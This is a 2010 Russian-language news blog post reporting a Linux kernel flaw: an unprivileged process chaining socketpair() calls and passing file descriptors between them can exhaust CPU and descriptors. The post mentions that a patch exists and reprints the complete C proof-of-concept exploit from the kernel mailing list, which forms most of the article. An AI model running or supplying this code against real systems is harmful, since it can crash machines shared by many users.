Skip to content
Новости со всего мира
  • Інфо
25.11.2010 / Компьютеры

Выявлена дыра, позволяющая «уронить» компьютер с Linux под любым пользователем

В списке рассылки разработчиков ядра Linux (LKML) был обнародован код, позволяющий через вызов функции ядра socketpair() создать процесс, съедающий 100% процессорного времени и все файловые дескрипторы. Процесс, будучи запущенным от имени любого пользователя, может привести систему к состоянию полной неработоспособности.

Патч для устранения данной проблемы уже опубликован.

>>> Подробности

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));
  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];
  int target;
  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
	return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}

Post navigation

Previous Post:

Вилазка на Лису гору

Next Post:

Украинские Шумахеры

Залишити відповідь Скасувати відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *

Реклама

Недавні записи

  • Три гріхи митної вартості
  • Інформація по регенерації сажевого фільтру. VW
  • RNS-315 обновление карт
  • DSG-6
  • Rayanair не домовився з аеропортом Бориспіль

Позначки

8 Березня 1559 AMD Britain F-1 f1 Ford Google linux netbook RedBull Scooter SIP voip Алонсо Ан-148 Веббер ГАИ Киев Мобильная связь Росберг УкрТелеКом Украина Україна Феттель авария автомобили бизнес справка 1559 гороскоп женщины жизнь земля интернет москалі мужчины програмирование расєя сочинения спорт справочная стихи туризм украинцы формула-1 юмор

Сувій блоґів

  • Ford-Club UA
  • Kyivcast: видеоподкаст о Киеве
  • Відпочинок Україною
  • нотатник адміна
  • Студентський сайт ПСНК
  • Телефонний довідник України
  • Українські сайти
  • Ыыыыыыыыы

counter


Реклама

Мета

  • Зареєструватись
  • Увійти
  • Стрічка записів
  • Стрічка коментарів
  • WordPress.org
©2021 Новости со всего мира - Powered by Simpleasy